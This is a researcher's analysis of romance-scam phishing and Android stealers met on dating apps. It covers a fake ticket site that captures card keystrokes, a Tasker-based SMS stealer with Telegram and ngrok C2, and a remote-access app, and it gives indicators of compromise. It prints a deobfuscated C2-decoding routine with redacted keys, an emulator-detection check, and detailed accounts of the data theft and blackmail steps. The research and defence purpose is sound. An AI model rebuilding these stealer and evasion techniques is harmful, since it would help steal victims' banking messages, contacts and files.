RU
 ./ARTICLE

“A Date with Phishing and Stealers: Cybercrime in the Age of Loneliness”

 [ PDF ] ‟A Date with Phishing and Stealers” in an eye-pleasing format


# Contents

# Introduction

Scammers and hacker groups proceed to exploit human vulnerabilities to target internet users. Every year, the number of victims rises rapidly, and the attacks become more sophisticated. The threats are particularly prevalent in services designed to deal with loneliness and reach a peak during holidays when people are most likely to feel lonely.

It's undeniable that the issue of loneliness is becoming more pressing and critical every year, to the point where it can be described as an epidemic. While online dating can provide a solution, new methods of attack are emerging as technology advances. Unfortunately, attackers will certainly take advantage of any technical opportunities and human vulnerabilities to achieve their goals.

It has become interesting for me to look at the technical aspects of the structure of elements used in attacks on users that have recently been discovered in online dating, dating bots, and applications. I would also like to remind you about the techniques that attackers use to gain trust and sympathy, as well as the principles of minimizing risks for users.

WARNING!

This article was created for informational purposes only and is intended for security analysis specialists who analyze the security of the customer's resources strictly on legal grounds and on the basis of an agreement concluded with the customer company. The author is not responsible for any harm caused by the use of the information provided.

The spread of malware and disruption of systems are prosecuted by law.

Sensitive information is deliberately hidden.

# Baseline

This section discusses the conditions under which the study was conducted. We discuss how we, as a society, got to this point and who & where is more likely to become a victim.

## Loneliness epidemic

In today's world, people are exposed to a wide range of different factors that directly affect the quality of their social interactions and, consequently, satisfaction of one of the most fundamental human needs. The increasing amount of time that sometimes just needs to be spent on a phone or a laptop, the lack of an urgent need to visit public places as a result of the development of various delivery services, a culture of proactive self–care that can easily cross the line and turn into glorification of egocentrism and rejection of society in favor of oneself, ... – all these are aspects of everyday reality that certainly leave a mark on every member of the generation.

Loneliness is a major topic of social research and, as a significant problem affecting the entire world, it also affects Russia. For example, here are some alarming excerpts from a scientific study done by the Higher School of Economics on Russian residents experiencing pressure from loneliness:
It turned out that over 43% of Russians experience loneliness in some way or another. <...> Youth is not a barrier to loneliness, either. Approximately one third of 14-29 year old Russians face this issue.

Source: HSE

And here are the statistics on people living alone – those citizens who live independently, as part of a "household" consisting only of one person, according to the Federal State Statistics Service:

More than 40% of households in Russia are single-person households, and their proportion has doubled in the last 20 years, according to the census. <...> Among the reasons for the increase in the number of single-person households is late marriage. <...> The predominance of single-person households was recorded for the first time in the history of population censuses in the Russian Federation.

Source: RBK Daily

Some people find comfort in loneliness. Nevertheless, it cannot be denied that the dragging feeling of loneliness is the body's response to the dissatisfaction of a need and by definition cannot be pleasant. It is a gnawing feeling designed to push a person to a well–defined action – social interaction. With the advent of this feeling, any, even conscious, solitude ceases to be healthy. And everyone who has experienced loneliness knows that it is difficult to cope with it on your own.

The number of factors contributing to the problem of loneliness is increasing, and as a result, the number of online services designed to fight loneliness, ranging from online dating applications to content subscription services, and the number of people who resort to using such services has also grown:

Dating App Downloads Explode After Years of Stagnation

According to researches conducted by analytical centers, more than 2/3 of young people in Russia have registered on online dating websites and mobile applications, and 1/4 are currently using them.

## My male identity

Despite the fact that researches on loneliness show a similar gender distribution in the results, men still prevail among users of dating services. For example, The Russian dating app called "Mamba" reported, that more than half of its audience are men. This is also reflected in the statistics of another popular dating app, Tinder:

Tinder gender ratios, as of May 2023

Compared to women, men are more likely to like a person instead of passing on them, and they are also less likely to receive mutual likes:

Despite being far more selective, women still match more frequently than men on Tinder

This is also why men are more likely to be victims of online dating scammers: posing as a beautiful girl, it is easier for the attacker to establish a communication channel, since the likelihood of being swiped left decreases, it is easier to win over and gain trust in order to carry out additional actions (make user interact with a website, install an application, execute a file with a malicious payload in it, ...).

To take a closer look at the situation, I created Nikita and registered him on various social media platforms, messengers and dating apps, added him to relevant groups and launched chatbots.
Full nameNikita Konstantinovich Sheremetyev
GenderMen
Age24 years old
Date of birthJan 13, 2000
CityMoscow
Phone number+7 (* * *) * * * * (virtual)
E-mail address* * * * @ * * * (temporary)
Nickname@ * * * * *

# Cases

During the week of pretending to be a non-existent young man, I often swiped to the right and liked other users of each of the mentioned services, but I intentionally did not initiate any conversations (*It turned out that Telegram limits one's ability to send messages first if they have a virtual number linked to their account: which means I missed out on several potential attackers and harmful links/files)

Despite the lack of initiative on his part, Nikita received messages from several women. Most of these messages turned out to be malicious. The material they distributed became the basis for my research project.

The situations described below demonstrates the current state of affairs regarding malware in online dating, and provides information on:
  • Social engineering techniques
  • Technical features of each sample
  • Consequences for victims
  • Information on detection of malicious activity

## Case #1

Movie session + the theft of payment information;

 ##~ Website interface

The first girl offered to meet and go to the theater, and even showed a website where tickets could be purchased. This is a common scenario for scammers who prey on people looking for dating, but despite its popularity, it continues to expand beyond the borders of Russia.

The website's domain name is short and catchy, except for the fact that the top-level domain = ".online". The website pages look professional: with widgets for contacting support and requesting a callback, information sections and news. There is even a warning about fake lookalike websites:
The site provides a list of upcoming performances, where you can place an order for tickets. After previewing the partially filled hall plan, you can select the seats:
The first red flag: the order page. The executable script has a typo in the name (ordening.php), unquestionably accepts the price from the amount request parameter and explicitly processes promo codes (CLUB15FREE and NEWYEAR15 are available):

 ##~ Payment interface

Payment process includes a redirection of the user to another domain, which has the substring "3-DS" in it, causing an association with 3-D Secure online payment technology. This time, the top-level domain is = ".ru".

This interface provides the user with a variety of payment options:
The redirection to the next interface depends on the chosen payment method.

The second red flag: in the case of the Faster Payments System, users are asked to make payments themselves, using the phone number or card details provided on the webpage. These details are updated approximately once a day:
If the bank is selected, a form for entering a card is displayed in front of the user. On click of the payment button, the script verifies the filling out of the form and the prefix of the inputted card number. If the required conditions are met, it shows an animation of establishing a connection with the bank:
The third red flag: if you look at the output of the developer tools, you will see that the payment information entered by the user is sequentially sent to the server as a bin request parameter as the keys are pressed. This looks like a harmless check of a bank identification number, but in this case the script is not limited to processing the BIN. The technique provides attackers with an additional way to extract the entered information. Even if the user becomes suspicious and changes their mind about clicking the payment button, their keystrokes will still be logged and sent to the server, and may be found in its logs:

 ##~ Tickets generation

The fourth red flag: iterating through the endpoints leads to the discovery of a list of paths that cannot be found in the links among the frontend. The main one among them is the /generate path, which leads to the ticket generation interface. The attackers took care of their accomplices by developing a form that generates electronic receipts in one click, and provided instructions on how to use it and reap the full benefit:
In the end, the resource was blocked on the territory of the Russian Federation.

## Case #2

A date + the theft of messages from banks;

 ##~ Backstory

Me and the second girl met on a dating app. She was the first to express interest and the first to initiate contact through private messages. After some time, she suggested switching to Telegram and wrote me her nickname, saying that the messenger was much more more convenient for her.

Among other things, she ran a personal Telegram channel. On this channel, she promised to share her photos (provided that her subscribers invite their friends to join the channel) and posted APK files: a poetry application and a chat, where, as she assures, she spends a lot of time.
The files "Вот мои стихи.apk" ("Here are my poems.apk") и "Знакомства 18+.apk" ("Dating 18+.apk") are the same size. Upon closer examination, it turned out that the applications contain the same functionality, with a slight difference in appearance. Therefore, I will only analyze one of them in more detail.

 ##~ The first glance

The Знакомства 18+ app requires the following hardware capabilities:
  • android.hardware.faketouch
  • android.hardware.telephony
It also works with the accessibility component. The app icon depicts a heart:
The requested rights in accordance with AndroidManifest.xml:
android.permission.CALL_PHONE
android.permission.DISABLE_KEYGUARD
android.permission.DRAW_OVERLAYS
android.permission.EXPAND_STATUS_BAR
android.permission.FOREGROUND_SERVICE
android.permission.INTERNET
android.permission.QUERY_ALL_PACKAGES
android.permission.READ_CALL_LOG
android.permission.READ_CONTACTS
android.permission.READ_EXTERNAL_STORAGE
android.permission.READ_PHONE_STATE
android.permission.READ_SMS
android.permission.RECEIVE_BOOT_COMPLETED
android.permission.RECEIVE_SMS
android.permission.SCHEDULE_EXACT_ALARM
android.permission.SEND_SMS
android.permission.SYSTEM_ALERT_WINDOW
android.permission.VIBRATE
android.permission.WAKE_LOCK
android.permission.WRITE_CONTACTS
android.permission.WRITE_EXTERNAL_STORAGE
android.permission.WRITE_SMS
disabled_android.permission.READ_CALENDAR
disabled_android.permission.WRITE_CALENDAR
Activities:
net.dinglisch.android.taskerm.Kid, net.dinglisch.android.taskerm.ProxyTransparent, net.dinglisch.android.taskerm.DummyActivity, net.dinglisch.android.taskerm.SceneActivity, net.dinglisch.android.taskerm.SceneActivityResize, com.joaomgcd.taskerm.genericaction.ActivityGenericAction, com.joaomgcd.taskerm.genericaction.ActivityGenericActionForResult
Services:
net.dinglisch.android.taskerm.ExecuteService, net.dinglisch.android.taskerm.MonitorService, net.dinglisch.android.taskerm.MyAccessibilityService, com.joaomgcd.taskerm.plugin.ServiceRequestQuery, com.joaomgcd.taskerm.plugin.ServicePluginFinished, com.joaomgcd.taskerm.genericaction.ActivityGenericAction, com.joaomgcd.taskerm.genericaction.ServiceGenericActionJobs
Receivers:
 – net.dinglisch.android.taskerm ReceiverStaticAlwaysOn (net.dinglisch.android.taskerm.WILLYUM, net.dinglisch.android.taskerm.AWAKEY, android.intent.action.BOOT_COMPLETED, android.intent.action.PACKAGE_ADDED, android.intent.action.PACKAGE_REPLACES, android.intent.action.PACKAGE_REMOVED, android.intent.action.MY_PACKAGE_REPLACED);
 – net.dinglisch.android.taskerm ReceiverStaticInternal (android.intent.action.DATE_CHANGED, android.intent.action.TIME_SET, android.intent.action.TIMEZONE_CHANGED, net.dinglisch.android.tasker.SMSEY);
Also, the value of android:versionName in the AndroidManifest.xml contains a curious structure that indicates the name of the team, the user's displayed name and nickname, and the Telegram chat ID:

 ##~ Tasker

The code obtained after decompiling the APK was heavily obfuscated, but it had the following features:
  • File management:
  • Command execution:
  • ...many other functions, including screen recording, creation of WireGuard tunnels, command execution through Termux, interaction with Google Drive, and more;
All these features turned out to be the capabilities provided by Tasker – a problem–oriented scripting language for creating Android applications that would perform certain actions based on context and conditions. It allows users to automate tasks without the need for manual programming. Here is a list of other classes marked as @TaskerOutputObject in the analyzed application:
Additionally, a version of Tasker that was used by the developers of the application was discovered to be Tasker(6.1.32), marketNoTrialRelease:
As a result of my research into the features of Tasker (I intended to learn more about analysis methods, deobfuscation methods or other source code recovery options specific to applications created with Tasker), I found out that during the export of the APK, Tasker includes an XML file assets/kid/data.xml within the application, which contains all the profiles, scenes, and tasks that the project requires.

Most importantly, these files can be used to import a project back into Tasker:
Info on how Android Tasker App XML files work
Indeed, an attempt to import a project from the file assets/kid/data.xml, which was extracted from a malicious application, was successful, and it became possible to view a list of profiles, tasks, scenes, and variables in a user-friendly GUI format:
One of the scenes is just a blatant user agreement:

 ##~ Telegram bot

Tasks, such as responding to a call or SMS, involve sending notifications about events to scammers via a Telegram bot. This can be seen both in the tasks themselves and in the variables: among them, you can find variables that store values of the Telegram bot token and chat IDs.
Interestingly, thanks to this token, it becomes possible to control the bot of attackers: for example, to download all of its dialogs and to disclose Telegram accounts that launched this bot. Telegram Bot Dumper – one of the tools that can simplify the task in case of finding such a token.
At the time of publication of the article, the bot token was reset by its owner and is no longer available for interaction.
The parameters "Команда" ("Team"), "Ник" ("Nickname") и "Чат_ID" ("Chat_ID"), which are located in AndroidManifest.xml file inside android:versionName parameter, are used exactly within this specific module of the malicious application. The application includes the values of these parameters in the logs sent by the bot to the chat with the administrator, apparently for convenient attribution of events and comparison of results of commands and individual subordinates within each team.
The division of chats into "worker" and "admin" chats, along with the need to specify the team's name, leads to the idea that a user with administrative privileges receives information from multiple teams simultaneously.

 ##~ License validation

The "Старт" / "Start" module, which is responsible for deploying the environment, performing a set of actions with the launch of this malicious application, such as initializing parameters and configuring a connection to the C2 server, also implements verification of a license and a hash:
  • The expiration date, licensedate, of the license is compared with the current date;
  • The money mule's hash cardhash1, received from the server, is compared with the cardhash2, which is calculated by multiplying the substrings of the money mule's card number CARD;
If the license has expired or the hash values do not match, the program execution stops and the administrator receives a notification about the use of the expired or hacked version of the malicious application. This notification includes the user ID, operator ID, and information about the infected device.

Based on the presence of such a module, it can be concluded that this malware may be sold to third parties, presumably for a limited period in accordance with a paid tariff.

 ##~ Communication with C&C server

As mentioned, in the same module, the connection is configured to interact with the C2 server. The hostname and port for connecting to the C2 server are extracted by going through the steps of an obfuscated algorithm that performs actions on the variables key, symbols and serverinput, the values of which are set initially.
The code is easy to deobfuscate: an online service deobfuscate.io detected that the code was obfuscated using obfuscator.io and suggested using a special service obf-io.deobfuscate.io.
After deobfuscation and conversion of other parts of the algorithm from the project steps into JavaScript code, the algorithm ended up looking like this:
var key = '******';
key = key.split('').reverse().join('');
key = atob(key);

var serverinput = '************';
var input = serverinput.split('').reverse().join('');
input = atob(input);

const decipher = AAAA => {
 const BBBB = CCCC => CCCC.split('').map(DDDD => DDDD.charCodeAt(0x0));
 const EEEE = FFFF => BBBB(AAAA).reduce((GGGG, HHHH) => GGGG ^ HHHH, FFF);
 return IIII => IIII.match(/.{1,2}/g).map(JJJJ => parseInt(JJJJ, 0x10)).map(EEEE).map(KKKK => String.fromCharCode(KKKK)).join('');
}

const myDecipher = decipher(key);
var output = myDecipher(input);
The result of the algorithm execution, the value of the output variable – is a link to an article on telegra[.]ph. This value is written to the dataserver variable, and after that, a request is made to extract the hostname and port of the C2 server. It's worth noting that the Telegraph article can be edited by its author at any time. In the case of this application, the C2 server was hosted on the ngrok-free[.]app service, which creates temporary tunnels between the local computer and the Internet.
Interaction with the server is organized through requests to endpoints:
  • %URL/get_json – receives JSON with configuration parameters, such as Telegram chat IDs, which are written to the corresponding variables;
  • %URL/send_text – sends the collected data in JSON format;
  • %URL/send_file – sends the collected files in JSON format;

 ##~ Debugging detection

Each time a user opens an application, the "Открытие приложения" / "Opened the application" module is activated, which, among other things, detects the use of a proxy (that may be used to intercept requests and perform network traffic analysis) and checks whether the program is running in an emulated environment.
Detection of the use of a proxy means checking for the presence of a package com.guoshi.httpcanary among the applications installed on the device, and the presence of a file HTTP Toolkit Certificate.crt inside the Download folder.
Detection of execution in a virtual environment involves checking the name of the infected device against a list of names that may indicate the use of an emulator, such as: VirtualBox, Virtual Machine, Google mainline and more.
In the event of detecting signs of the use of a proxy or emulator:
  1. The values of the parameters used to send messages to the malicious software operator are modified: Telegram bot token TOKEN, chat ID chatid, link to the Telegraph article dataserver
  2. The operator is notified about the detection of virtual environment
  3. The execution of the module is forcibly terminated

 ##~ SMS & phone calls

 > Phone calls
The malicious application reacts to incoming calls and its behavior depends on the caller and is defined in the associated profiles "Получен звонок (другое)" / "Received a call (other)" and "Получен звонок (Сбер)" / "Received a call (Sberbank)":
  • If the caller's number differs from 900: the "Received a call (other)" module is activated, which logs information about the call to a special chat in Telegram;
  • If the caller's number equals 900: the "Received a call (Sberbank)" module is activated, which notifies the operator of a failure due to a call from the 900 number and goes into "Sleep" mode, described further;
The response to incoming SMS messages also varies depending on the sender's number and is defined in the modules "Получено СМС (другое)" / "Received an SMS (other)" and "Получено СМС (Сбер)" / "Received an SMS (Sberbank)".
 > SMS not from 900
The contents of SMS messages received from numbers other than 900 are compared with a list of payment transaction message templates from various banks and services. The application operates based on the presence of a particular substring in the SMS:
  • responds to messages that require confirmation of the operation by sending a reply with a specified value
  • logs information: notifies the operator of each event based on the information within messages
  • calculates the benefit that the operator could potentially derive
 > SMS from 900
In the case of incoming SMS messages from the 900 number, the situation is similar: the contents of each such message are compared with a list of templates, checked for substrings that would indicate a particular operation, and processed in accordance with the classified event. Malicious module "Received an SMS (Sberbank)" acts almost the same as the "Received an SMS (other)" module: it notifies the operator about each event, logs information, calculates the potential benefit and sends SMS replies if necessary – but also takes into consideration the specifics of interaction with this particular bank. This module supports a wider range of possible user interactions with the target bank, and takes into account more errors that may occur during the process, compared to the module marked "(other)":

 ##~ RAT mode

The malicious application has several modes of operation, the activation status of which is set when the application is deployed.
Here, among the steps of the module "Received an SMS (other)" module, you can observe the emergence of an additional behavior vector – actions available in RAT mode:
  • If ratrequest1 equals "СМС" ("SMS"): an arbitrary SMS is sent from an infected device, and its contents (ratrequest4) and the recipient's number (ratrequest3) are configured by the operator of the malicious application;
  • If ratrequest1 equals "Звонок" ("Call"): an outgoing call is initiated from an infected device using the phone number (ratrequest3) specified by the malware operator;
  • If ratrequest1 equals "Код" ("Code"): arbitrary JavaScript code (ratrequest2) specified as a string by the malware operator is executed on the infected device using eval(). Script execution is made possible thanks to JavaScriptlet implemented in Tasker, which supports JavaScript code execution in task elements and WebView;
The results of commands execution, such as information about success or failure, are logged into chats:

 ##~ "Sleep" mode

In certain situations, such as when there is a high likelihood that the user will detect malicious elements in the application, the execution switches to a "Sleep mode". A notable example of this is an official call from a target bank, which can be seen in the screenshots provided above.
Depending on the application settings that were set when it was deployed, the "sleep" mode includes several interesting behavioral submodules:
 > Stealing of SMS messages
  • If a chat for collecting messages is enabled (MESSAGESCHATID):
    1. The application makes requests to content://sms/inbox and content://sms/sent, and due to this, it receives the contents of incoming and outgoing SMS messages that are stored on the infected device, respectively;
    2. Writes the received content, respectively, to local files "Входящие сообщения (ID %USERID).txt" (Incoming messages) and "Исходящие сообщения (ID %USERID).txt" (Outgoing messages);
    3. Sends the generated files to the C2 server;
    4. Notifies the malware operator of the successful stealing of SMS logs from the infected device;
    5. Deletes generated local files to cover tracks;
 > Stealing of contacts + Blackmail mode
  • If a chat for collecting contacts is enabled (CONTACTSCHATID):
    1. The application makes requests to content://com.android.contacts/data/phones, and due to this, it receives the displayed names and phone numbers from the contact book of the infected device;
    2. If the blackmail mode is active (BLACKMAIL): creates a file called "ВАЖНАЯ ИНФОРМАЦИЯ.txt" (IMPORTANT INFORMATION), in which the user is informed about the hacking of their device, which is proven by a list of their contacts, and is given one week to transfer funds to a specified card in exchange for the malware operators deleting the stolen data;
    3. Notifies the malware operator of the successful stealing of the contact list from the infected device;
 > SMS spam
  • If the spam against contacts mode is active (SPAMCONTACTS):
    1. The application makes requests to content://com.android.contacts/data/phones, and due to this, it receives the displayed names and phone numbers from the contact book of the infected device;
    2. An SMS message with the contents specified by the malware operator is sent to each contact from the infected device;
  • If the spam against random people mode is active (SPAMRANDOMS):
    1. In a loop, the application generates random phone numbers;
    2. An SMS message with the contents specified by the malware operator is sent from the infected device to each person whose number was processed as a result of generating phone numbers;
 > Stealing local files
  • If the stealing local files mode is active (STEALINGFILES):
    1. The execution proceeds to the malicious "Менеджер кражи файлов" / "File Theft Manager" module;
    2. Depending on the activation status of special chats, the application steals files located on the infected device inside specific directories. It collects the target files into arrays and sends them to the "Алгоритм кражи файлов" / "File Theft Algorithm" module, in which the files undergo additional processing and are sent to the C2 server:
      • If a chat for collecting photos taken with the device's camera is enabled (CAMERACHATID), it steals files within:
        DCIM/Camera
        DCIM/Selfie
        DCIM/Video
        DCIM/Panorama
      • If a chat for collecting screenshots is enabled (SCREENSHOTCHATID), it steals files within:
        DCIM/Screenshots
      • If a chat for collecting downloaded files is enabled (DOWNLOADCHATID), it steals files within:
        Download
      • If a chat for collecting other files is enabled (OTHERCHATID), it steals files within:
        WhatsApp/Media/WhatsApp Images
        WhatsApp/Media/WhatsApp Images/Sent
        WhatsApp/Media/WhatsApp Images/Private
        WhatsApp/Media/WhatsApp Video
        WhatsApp/Media/WhatsApp Video/Sent
        WhatsApp/Media/WhatsApp Video/Private
        WhatsApp/Media/WhatsApp Audio
        WhatsApp/Media/WhatsApp Audio/Sent
        WhatsApp/Media/WhatsApp Audio/Private
        WhatsApp/Media/WhatsApp Documents
        WhatsApp/Media/WhatsApp Documents/Sent
        WhatsApp/Media/WhatsApp Documents/Private
        Telegram/Telegram Images
        Telegram/Telegram Video
        Telegram/Telegram Audio
        Telegram/Telegram Documents
        Telegram/Telegram Files
        Pictures/Telegram
        Pictures/Viber
        Pictures/Odnoklassniki
        Pictures/Instagram

 ##~ Other notes

 > Mentions in X (Twitter)
The list of subjects, behind the facade of which malicious functionality is hidden, turned out to be quite diverse in order to reach a wider audience and infect a greater number of devices.
A cursory search for mentions of the application's signatures led me to several reports generated by online sandbox analyzers of similar APKs, and their subjects range from applications related to Internet dating (private chats, content subscription services), to "hacked" / "premium" versions of messengers.
The attackers also exploited other hot topics that may attract public attention. The Malware Hunter Team account published a post on X regarding another representative of this family of malicious applications:
 > Indicators of compromise
FilenameВот мои стихи.apk
MD5d77e319cc5d06275f78ab15bd5387244
SHA18bff0412612bb46fc565ef4cb91948879f45d7bc
SHA256d72ba25e0ea2d50dab2b3abbcbd62020e3a68393c382eb4a8e81df9ac18ea688
VirusTotalvirustotal.com/gui/file/d72ba25e0ea2d50dab2b3abbcbd62020e3a68393c382eb4a8e81df9ac18ea688
FilenameЗнакомства 18+.apk
MD5d77e319cc5d06275f78ab15bd5387244
SHA18bff0412612bb46fc565ef4cb91948879f45d7bc
SHA256d72ba25e0ea2d50dab2b3abbcbd62020e3a68393c382eb4a8e81df9ac18ea688
VirusTotalvirustotal.com/gui/file/d72ba25e0ea2d50dab2b3abbcbd62020e3a68393c382eb4a8e81df9ac18ea688
FilenameOnlyFans (9).apk
MD5d77e319cc5d06275f78ab15bd5387244
SHA18bff0412612bb46fc565ef4cb91948879f45d7bc
SHA256d72ba25e0ea2d50dab2b3abbcbd62020e3a68393c382eb4a8e81df9ac18ea688
VirusTotalvirustotal.com/gui/file/d72ba25e0ea2d50dab2b3abbcbd62020e3a68393c382eb4a8e81df9ac18ea688
FilenameOnlyFans (12).apk
MD565841b046a4069d2a84e01c2e430effc
SHA1fb862581c245859000062ff250fcb27789678876
SHA256243882ca699690dff0fa09c54ae9e206d9c0dbb94794daa10f9705384b42cc74
VirusTotalvirustotal.com/gui/file/243882ca699690dff0fa09c54ae9e206d9c0dbb94794daa10f9705384b42cc74
FilenameONLYFANS FREE.apk
MD570319c31153614a9fd2dfed94d39e399
SHA1dda23ef6aa87ea7997d849f3eda8aa5d35fc321b
SHA256efaf1e1616426c9e5b4960174017936dbda2c85ece2d231a8f0bdb6283bcfdf6
VirusTotalvirustotal.com/gui/file/efaf1e1616426c9e5b4960174017936dbda2c85ece2d231a8f0bdb6283bcfdf6
FilenameМой OnlyFans) (2).apk
MD5911f9cca3895e65097348c08d4c40881
SHA1bc53c75cb6256013b750c2de52d04bac0b33b760
SHA25636303775a3a2059a5840405e6c4f4875093da9dacd76ba27215e4652713a3db0
VirusTotalvirustotal.com/gui/file/36303775a3a2059a5840405e6c4f4875093da9dacd76ba27215e4652713a3db0
FilenameOnlyFans.FreeMode (2).apk
MD5fa3ee4a5499e9d7bd3a419a5bcf76e70
SHA18c9a9bfe8c34baa523d7dd996dbb8f8a424de64a
SHA256c4c2464ab76f50aa5652a052a4f0ab25eb913ee9f322399f159911c1ad6853a8
VirusTotalvirustotal.com/gui/file/c4c2464ab76f50aa5652a052a4f0ab25eb913ee9f322399f159911c1ad6853a8
FilenameChatV Privat (2).apk
MD549766c0bced0e0d664ad4ebd8bcf1646
SHA11dc460045ac33a2418178054b8a80c23f6649f81
SHA256b8bf03ca247e226af4601b5226475b189a51dcf5a4cf6563a59d5ceeab0a7b63
VirusTotalvirustotal.com/gui/file/b8bf03ca247e226af4601b5226475b189a51dcf5a4cf6563a59d5ceeab0a7b63

## Case #3

Streaming service + remote control of the device;

 ##~ Backstory

The third girl contacted me via the Telegram chatbot for anonymous dating and offered to continue our conversation in private messages. It turned out that she, like the girl from the second situation, has her own Telegram channel where she shares content and offers her subscribers access to full versions of her content by installing a mobile application of a streaming service:
It is worth noting that over time, the channel was replaced by another one. This time, the girl kindly provided her subscribers with detailed instructions on how to install a new application. The instructions included granting the application the "Accessibility" permission, despite warnings from the device about the associated risks and possible consequences:
The newer application, BongaCamSexs.apk, is 5.7 megabytes heavier than the older one, streamtwit.apk. These samples are similar, except for a couple of points:
  • streamtwit.apk – more obfuscated
  • BongaCamSexs.apk – offers additional functionality
In the description of the technical features of the malware discussed in this section, I will try to combine the functionality of both versions, demonstrating the least obfuscated code samples available.

 ##~ The first glance

 > Streamtwit
The streamtwit app requires the following hardware capabilities:
  • android.hardware.faketouch
  • android.hardware.telephony
  • android.hardware.wifi
It also works with the device-admin, ime, accessibility components. The app icon depicts a girl taking pictures of her reflection:
The requested rights in accordance with AndroidManifest.xml:
android.permission.ACCESS_NETWORK_STATE
android.permission.ACCESS_WIFI_STATE
android.permission.CHANGE_WIFI_STATE
android.permission.DISABLE_KEYGUARD
android.permission.FOREGROUND_SERVICE
android.permission.INTERNET
android.permission.READ_EXTERNAL_STORAGE
android.permission.READ_PHONE_STATE
android.permission.READ_SMS
android.permission.RECEIVE_BOOT_COMPLETED
android.permission.REQUEST_DELETE_PACKAGES
android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
android.permission.REQUEST_INSTALL_PACKAGES
android.permission.SEND_SMS
android.permission.SYSTEM_ALERT_WINDOW
android.permission.USE_FULL_SCREEN_INTENT
android.permission.WAKE_LOCK
android.permission.WRITE_EXTERNAL_STORAGE
com.android.alarm.permission.SET_ALARM
com.huawei.permission.external_app_settings.USE_COMPONENT
oplus.permission.OPLUS_COMPONENT_SAFE
oppo.permission.OPPO_COMPONENT_SAFE
 > BongaCamSexs
// Light grey color indicates entries that match those of streamtwit;

The BongaCamSexs app requires the following hardware capabilities:
  • android.hardware.camera
  • android.hardware.faketouch
  • android.hardware.location
  • android.hardware.microphone
  • android.hardware.telephony
  • android.hardware.wifi
And also works with the device-admin, ime, accessibility components. The app icon depicts the logo of the real service:
The requested rights in accordance with AndroidManifest.xml:
android.permission.ACCESS_COARSE_LOCATION
android.permission.ACCESS_FINE_LOCATION
android.permission.ACCESS_NETWORK_STATE
android.permission.ACCESS_WIFI_STATE
android.permission.CALL_PHONE
android.permission.CAMERA
android.permission.CHANGE_WIFI_STATE
android.permission.DISABLE_KEYGUARD
android.permission.FOREGROUND_SERVICE
android.permission.GET_ACCOUNTS
android.permission.INTERNET
android.permission.READ_CALL_LOG
android.permission.READ_CONTACTS
android.permission.READ_EXTERNAL_STORAGE
android.permission.READ_PHONE_STATE
android.permission.READ_SMS
android.permission.RECEIVE_BOOT_COMPLETED
android.permission.RECORD_AUDIO
android.permission.REQUEST_DELETE_PACKAGES
android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
android.permission.REQUEST_INSTALL_PACKAGES
android.permission.SEND_SMS
android.permission.SET_WALLPAPER
android.permission.SYSTEM_ALERT_WINDOW
android.permission.USE_FULL_SCREEN_INTENT
android.permission.WAKE_LOCK
android.permission.WRITE_EXTERNAL_STORAGE
com.android.alarm.permission.SET_ALARM
com.huawei.permission.external_app_settings.USE_COMPONENT
oplus.permission.OPLUS_COMPONENT_SAFE
oppo.permission.OPPO_COMPONENT_SAFE
Activities:
MainActivity, SecondActivity, WakeupActivity, RequestUninstall, RequestInstallPrim, RequestScreenCap, CameraActvity, CraxsBrowser, FloatingView, installupdate, flyActivity, OpenActivity, OpenChrome, isOver, RequestDataUsage, RequestVPN, RequestOPPOB, RequestPermission2, RequestKeyboard, RequestAdmin
Services:
MyJobService, KeyboardService, initializeService, CameraHandler, LocationService, AccessService, BackgroundWorker, FirewallServices
Receivers:
 – CustomReceiver (RestartSensor);
 – Datareciver (android.intent.action.DATE_CHANGED);
 – AdminReceiver (android.app.action.DEVICE_ADMIN_ENABLED);
 – ScreenReceiver (android.intent.action.SCREEN_ON, android.intent.action.SCREEN_OFF, android.intent.action.ACTION_POWER_CONNECTED, android.intent.action.ACTION_POWER_DISCONNECTED, android.intent.action.USER_PRESENT);
 – PackagesReceiver (android.intent.action.PACKAGE_INSTALL, android.intent.action.PACKAGE_ADDED, android.intent.action.PACKAGE_REMOVED, android.intent.action.PACKAGE_CHANGED, android.intent.action.MY_PACKAGE_REPLACED);
 – BootReceiver (android.intent.category.DEFAULT, android.intent.action.BOOT_COMPLETED, android.intent.action.ACTION_BOOT_COMPLETED, android.intent.action.QUICKBOOT_POWERON, com.htc.intent.action.QUICKBOOT_POWERON, android.intent.action.REBOOT, android.intent.action.LOCKED_BOOT_COMPLETED, miui.intent.action.BOOT_COMPLETEDT);

 ##~ Obfuscation

Observed obfuscation techniques:
  • Replacement of component names with random values. For example:

  • Code splitting and distribution of its parts into separate classes. For example, this is how some components of the package hierarchy of one of the files look like:

  • Transformation of string values to complicate human readability:
    • Conversion of strings into Base64 format. I named the decoding function base64decode:

    • Splitting of strings into substrings with the insertion of random characters between them. I named the extraction function extractString:
 > Typos
Typos are commonly found in the names of important components. It is unclear whether the author made these mistakes accidentally, perhaps because English is not their first language, or intentionally, perhaps to make it more difficult for experts to detect malicious elements in the application by searching for specific strings, or to bypass techniques used to classify software as malware based on the presence of certain keywords.

Examples of typos:

The name usedThe corrected name
MyAudoRecorderMyAudioRecorder
StoragPermissionsStoragePermissions
daterecever / DataReciverDataReceiver
ask_battaryask_battery
DeleDel / Delete
SaveTouchsSaveTouches
RepetRepeat
TregerTrigger
NeedNotifiNeedNotify / NeedNotification

 ##~ Autostart

In both MainActivity and SecondActivity the getAutoStartPermission method is called. It checks the brand of the infected mobile device (Build.BRAND), and then – calls the brand-specific method to grant the rights to automatically launch the application and manage battery optimization:

 ##~ Debugging detection

Both MainActivity and SecondActivity implement the isEmu_DIV_ID_lator method, which is responsible for debugging detection:
After some deobfuscation of the code in the screenshot, the function's return value appears to be:
return (Build.BRAND.startsWith("generic") && Build.DEVICE.startsWith("generic")) || Build.FINGERPRINT.startsWith("generic") || Build.FINGERPRINT.startsWith(EnvironmentCompat.MEDIA_UNKNOWN) || Build.HARDWARE.contains("goldfish") || Build.HARDWARE.contains("ranchu") || Build.MODEL.contains("google_sdk") || Build.MODEL.contains("Emulator") || Build.MODEL.contains("Android built SDK for x86") || Build.MANUFACTURER.contains("Genymotion") || Build.PRODUCT.contains("sdk_google") || Build.PRODUCT.contains("google_sdk") || Build.PRODUCT.contains("sdk") || Build.PRODUCT.contains("sdk_x86") || Build.PRODUCT.contains("sdk_gphone64_arm64") || Build.PRODUCT.contains("vbox86p") || Build.PRODUCT.contains("emulator") || Build.PRODUCT.contains("simulator");
